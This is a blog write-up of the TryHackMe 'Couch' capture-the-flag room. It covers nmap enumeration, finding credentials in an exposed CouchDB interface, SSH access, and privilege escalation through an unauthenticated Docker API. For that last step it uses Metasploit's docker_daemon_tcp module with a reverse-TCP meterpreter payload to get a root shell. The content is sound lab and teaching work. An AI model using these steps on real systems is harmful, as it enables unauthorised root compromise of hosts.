12 August 2021 / TRYHACKME, CTF, EASY Couch Write Up Overview couch is a easy rated CTF room on TryHackMe created by stuxnet. Nmap Although not required I added the machine IP to my host file so through out the write up I can use couch.thm for consistency. Once added I started a nmap scan to check for available ports. └──╼ $sudo nmap -sC -sV -oA nmap/initial couch.thm Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-13 14:57 BST Nmap scan report for couch.thm (10.10.59.151) Host is up (0.034s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA) | 256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA) |_ 256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.13 seconds 1 Port open: 22 - SSH - OpenSSH 7.2p2 Unless its a bruce force challenge im not going to get far with just that so I also ran a full port scan and found 1 additional port: └──╼ $sudo nmap -p- -oA nmap/allports couch.thm Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-13 14:58 BST Nmap scan report for couch.thm (10.10.59.151) Host is up (0.036s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 5984/tcp open couchdb Nmap done: 1 IP address (1 host up) scanned in 26.86 seconds I did a final scan using the two ports and ran the -sC & -sV flags to run default scripts and enumerate version. └──╼ $sudo nmap -p 22,5984 -sC -sV -oA nmap/targeted couch.thm Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-13 14:59 BST Nmap scan report for couch.thm (10.10.59.151) Host is up (0.031s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA) | 256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA) |_ 256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (ED25519) 5984/tcp open http CouchDB httpd 1.6.1 (Erlang OTP/18) |_http-server-header: CouchDB/1.6.1 (Erlang OTP/18) |_http-title: Site doesn't have a title (text/plain; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds Enumeration I had never heard of CouchDB so I opened up the web browser to ‘http://couch.thm:5984/’ and took a look. Apache CouchDB is an open-source document-oriented NoSQL database, implemented in Erlang. CouchDB uses multiple formats and protocols to store, transfer, and process its data. It uses JSON to store data, JavaScript as its query language using MapReduce, and HTTP for an API. Before trying to exploit the service I wanted to understand how it works so I used google to find the documentation. From reading the documentation I saw /utils/ provided a web interface. With in the ‘secret’ folder I found a username and password. Initial Access The user credentials provided SSH access to the machine and the user.txt flag. └──╼ $ssh atena@couch.thm atena@couch.thm's password: Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-193-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Fri Aug 13 07:12:25 2021 from <Machine IP> atena@ubuntu:~$ Priv Esc While enumerating the machine I found two additional ports listening on the server 2375 and 38811. atena@ubuntu:~$ netstat -ano Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 0.0.0.0:5984 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:38811 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 324 10.10.59.151:22 <Machine IP>:54352 ESTABLISHED on (0.07/0/0) tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0) udp 0 0 0.0.0.0:68 0.0.0.0:* off (0.00/0/0) udp 0 0 0.0.0.0:38711 0.0.0.0:* off (0.00/0/0) Active UNIX domain sockets (servers and established) Also when I checked running processes using ps aux, I found docker was running using one of the ports. root 813 0.0 6.5 524372 66484 ? Ssl 06:52 0:01 /usr/bin/dockerd -H=fd:// -H=tcp://127.0.0.1:2375 If you check the bash history, you can see the user has a ran a docker command to start a docker container. Using this technique you can start a container with the root file system mounted and grab any file you wish. However, I wanted to do this one slightly differently. Imagine the user was unable to run docker commands, how else could we use the same technique? The below steps shows how to get the root flag by interacting directly with the service. I wanted to be able to interact with the port easily so I used SSH local port forwarding. A great article explains how to do this. └──╼ $ssh -L 2375:localhost:2375 atena@couch.thm atena@couch.thm's password: Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-193-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Fri Aug 13 07:12:49 2021 from <Machine IP> atena@ubuntu:~$ Now I can interact with the port by going to ‘localhost:2375’. A great resource for tips and techniques is HackTricks. Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / (root directory) to the container and read/write files of the host’s environment. If I had docker installed on my local machine I could use this to run docker commands on the remote service using the -H flag but I dont, we could also use CURL. However Metasploit is easier. I fired up Metasploit and searched docker. msf6 > search docker Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/linux/http/dcos_marathon 2017-03-03 excellent Yes DC/OS Marathon UI Docker Exploit 1 exploit/linux/local/docker_runc_escape 2019-01-01 manual No Docker Container Escape Via runC Overwrite 2 exploit/linux/http/docker_daemon_tcp 2017-07-25 excellent Yes Docker Daemon - Unprotected TCP Socket Exploit 3 exploit/linux/local/docker_daemon_privilege_escalation 2016-06-28 excellent Yes Docker Daemon Privilege Escalation 4 exploit/linux/local/docker_privileged_container_escape 2019-07-17 normal Yes Docker Privileged Container Escape 5 auxiliary/scanner/http/docker_version normal No Docker Server Version Scanner 6 exploit/windows/local/docker_credential_wincred 2019-07-05 manual Yes Docker-Credential-Wincred.exe Privilege Escalation 7 exploit/multi/http/gitea_git_hooks_rce 2020-10-07 excellent Yes Gitea Git Hooks Remote Code Execution 8 exploit/multi/http/gogs_git_hooks_rce 2020-10-07 excellent Yes Gogs Git Hooks Remote Code Execution 9 post/linux/gather/enum_containers normal No Linux Container Enumeration 10 post/linux/gather/checkcontainer normal No Linux Gather Container Detection 11 auxiliary/admin/mssql/mssql_idf normal No Microsoft SQL Server Interesting Data Finder 12 post/multi/gather/docker_creds normal No Multi Gather Docker Credentials Collection 13 exploit/linux/http/rancher_server 2017-07-27 excellent Yes Rancher Server - Docker Exploit 14 auxiliary/gather/saltstack_salt_root_key 2020-04-30 normal No SaltStack Salt Master Server Root Key Disclosure 15 exploit/linux/misc/saltstack_salt_unauth_rce 2020-04-30 great Yes SaltStack Salt Master/Minion Unauthenticated RCE 16 exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce 2021-03-02 excellent Yes VMware View Planner Unauthenticated Log File Upload RCE Interact with a module by name or index. For example info 16, use 16 or use exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce msf6 > ‘exploit/linux/http/docker_daemon_tcp’ looks perfect. msf6 > use 2 [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/docker_daemon_tcp) > set rhost localhost rhost => localhost msf6 exploit(linux/http/docker_daemon_tcp) > set lhost tun0 lhost => tun0 msf6 exploit(linux/http/docker_daemon_tcp) > show options Module options (exploit/linux/http/docker_daemon_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONTAINER_ID no container id you would like DOCKERIMAGE alpine:latest yes hub.docker.com image to use Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS localhost yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 2375 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST tun0 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Linux x64 msf6 exploit(linux/http/docker_daemon_tcp) > Now I just run the exploit and get a shell. msf6 exploit(linux/http/docker_daemon_tcp) > exploit [*] Exploiting target {:address=>"0.0.0.1", :hostname=>"localhost"} [*] Started reverse TCP handler on <Machine IP>:4444 [-] Failed to connect to the target [-] Exploit aborted due to failure: unknown: Failed to connect to the target [*] Exploiting target {:address=>"127.0.0.1", :hostname=>"localhost"} [*] Started reverse TCP handler on <Machine IP>:4444 [*] The docker container is created, waiting for deploy [*] Waiting for the cron job to run, can take up to 60 seconds [*] Sending stage (3012548 bytes) to 10.10.59.151 [+] Deleted /etc/cron.d/GOKzWbNu [+] Deleted /tmp/nCJrYRbW [*] Meterpreter session 1 opened (<Machine IP>:4444 -> 10.10.59.151:41406) at 2021-08-13 16:39:05 +0100 [*] Session 1 created in the background. msf6 exploit(linux/http/docker_daemon_tcp) > sessions 1 [*] Starting interaction with 1... meterpreter > shell Process 18578 created. Channel 1 created. whoami root ls -lah /root/root.txt -rw-r--r-- 1 root root 26 Dec 18 2020 /root/root.txt Thanks for reading! ============================================================ Any comments or feedback welcome! You can find me on twitter.